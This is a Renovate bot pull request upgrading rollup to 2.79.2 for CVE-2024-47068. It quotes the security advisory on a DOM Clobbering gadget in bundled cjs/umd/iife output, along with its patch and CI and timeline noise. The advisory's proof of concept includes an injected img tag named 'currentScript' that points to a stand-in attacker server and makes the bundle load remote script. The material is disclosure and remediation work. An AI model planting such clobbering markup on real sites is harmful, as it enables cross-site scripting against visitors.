chore(deps): update dependency rollup to v2.79.2 [security] #1275

renovate · 2024-09-25T01:18:26Z

This PR contains the following updates:

Package	Change	Age	Confidence
rollup (source)	`2.79.1` -> `2.79.2`

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in `rollup`

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup)

`v2.79.2`

Compare Source

2024-09-26

Bug Fixes

Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context (#5671)

Pull Requests

#5671: Fix DOM Clobbering CVE (@lukastaegert)

Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Paris, Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

codesandbox-ci · 2024-09-25T01:19:52Z

This pull request is automatically built and testable in CodeSandbox.

To see build info of the built libraries, click here or the icon next to each commit SHA.

Latest deployment of this branch, based on commit 9cd7e25:

Sandbox	Source
@algolia/autocomplete-example-github-repositories-custom-plugin	Configuration
@algolia/autocomplete-example-instantsearch	Configuration
@algolia/autocomplete-example-playground	Configuration
@algolia/autocomplete-example-preview-panel-in-modal	Configuration
@algolia/autocomplete-example-starter-algolia	Configuration
@algolia/autocomplete-example-starter	Configuration
@algolia/autocomplete-example-reshape	Configuration
@algolia/autocomplete-example-vue	Configuration

renovate bot changed the title ~~chore(deps): update dependency rollup to v3 [security]~~ chore(deps): update dependency rollup to v3 [security] - autoclosed Sep 26, 2024

renovate bot closed this Sep 26, 2024

renovate bot deleted the renovate/npm-rollup-vulnerability branch September 26, 2024 21:46

renovate bot restored the renovate/npm-rollup-vulnerability branch September 27, 2024 19:32

renovate bot changed the title ~~chore(deps): update dependency rollup to v3 [security] - autoclosed~~ chore(deps): update dependency rollup to v3 [security] Sep 27, 2024

renovate bot reopened this Sep 27, 2024

renovate bot enabled auto-merge (rebase) September 27, 2024 19:33

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from de1b9f7 to e24a9b4 Compare September 27, 2024 19:33

renovate bot changed the title ~~chore(deps): update dependency rollup to v3 [security]~~ chore(deps): update dependency rollup to v2.79.2 [security] Sep 27, 2024

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 4 times, most recently from 0172643 to e8ad2a8 Compare October 16, 2024 08:33

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from f030e4b to 221ac8f Compare November 5, 2024 15:00

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 221ac8f to f3a099e Compare November 15, 2024 05:22

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 3c04f70 to a085ada Compare December 9, 2024 09:39

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from d6dbbd9 to cec5b42 Compare January 7, 2025 10:45

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 5a92d5a to a41cfbf Compare January 28, 2025 09:37

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 7d4605f to b459e39 Compare February 11, 2025 10:21

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 4 times, most recently from a5cadc9 to a4dcf9d Compare April 29, 2025 13:09

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from a4dcf9d to 6088a13 Compare May 16, 2025 07:45

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 6088a13 to ee6e11f Compare May 20, 2025 09:27

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 6cf9466 to d59572a Compare September 3, 2025 09:43

chore(deps): update dependency rollup to v2.79.2 [security]

9cd7e25

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from d59572a to 9cd7e25 Compare September 10, 2025 15:34

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

chore(deps): update dependency rollup to v2.79.2 [security] #1275

chore(deps): update dependency rollup to v2.79.2 [security] #1275

renovate bot commented Sep 25, 2024 •

edited

Loading

Uh oh!

codesandbox-ci bot commented Sep 25, 2024 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

chore(deps): update dependency rollup to v2.79.2 [security] #1275

Are you sure you want to change the base?

chore(deps): update dependency rollup to v2.79.2 [security] #1275

Conversation

renovate bot commented Sep 25, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

Details

Backgrounds

Gadget found in rollup

PoC

Impact

Patch

Release Notes

v2.79.2

Bug Fixes

Pull Requests

Configuration

Uh oh!

codesandbox-ci bot commented Sep 25, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

renovate bot commented Sep 25, 2024 •

edited

Loading

Gadget found in `rollup`

`v2.79.2`

codesandbox-ci bot commented Sep 25, 2024 •

edited

Loading